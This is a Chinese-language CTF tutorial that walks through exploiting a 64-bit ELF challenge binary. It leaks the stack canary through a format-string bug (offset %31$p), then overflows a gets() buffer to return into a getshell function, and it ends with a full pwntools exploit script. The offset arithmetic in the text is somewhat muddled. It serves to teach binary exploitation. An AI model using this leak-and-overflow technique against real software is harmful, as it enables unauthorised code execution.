上篇我们介绍了一下格式化字符串漏洞的原理,并讲解了32位elf程序的格式化字符串漏洞的利用。
这篇我们来讲解一下64位格式化字符串漏洞该如何利用
按照国际惯例,先查看文件信息
$ file format_canary2
$ checksec format_canary2
64位elf程序,开启了canary保护
运行程序,查看大概流程
程序提供两次输入两次输出
首先查看main()函数
gets函数很明显存在栈溢出,printf函数存在格式化字符串漏洞
继续看getshell函数
getshell函数会给我们返回个shell
那么这道题的思路就很清晰了,我们利用格式化字符串漏洞泄露出canary的值,然后再利用栈溢出,控制程序返回到getshell函数即可。
64位和32位的格式化字符串漏洞原理是一样的,只不过有一些小小的不同
我们先用GDB来调试程序,并在printf函数下断点
$ gdb ./format_canary2
gdb-peda$ b * printf
我们先反汇编一下main()函数
我们看到,canary的值在rbp-0x8的位置
我们随便输入一些东西,查看$rbp-0x8的值,然后查看栈空间
我们能够在栈空间找到canary的值
我们从头查一下,第26位是canary的值,但是这里要注意,64位和32位不同,众所周知64的程序传参是前六个存在六个寄存器中,从第七个开始入栈,所以在利用格式化字符串漏洞时会有六个偏移。
因此我们需要将26+6-1,也就是偏移31
我们重新调试程序,输入%31p,这里不要输入x
这里我们已经可以成功泄露canary的值了,我们接着调试程序
还是在printf函数处下断点,这里断在第二个printf函数
输入字符,然后查看栈空间
从我们输入到canary一共是25*8个字节
从canary到返回地址是1*8个字节
那么我们就可以构造exp了
from pwn import *
r = process('./format_canary2')
leak = '%31$p'
r.sendline(leak)
canary = r.recv(18)[2:]
print 'Canary >>>>>> ' + canary
canary_valu = int(canary,16)
getshell = 0x00400805
payload = 'a' * 25 * 8
payload += p64(canary_valu)
payload += 'a' * 1 * 8
payload += p64(getshell)
r.sendline(payload)
r.interactive()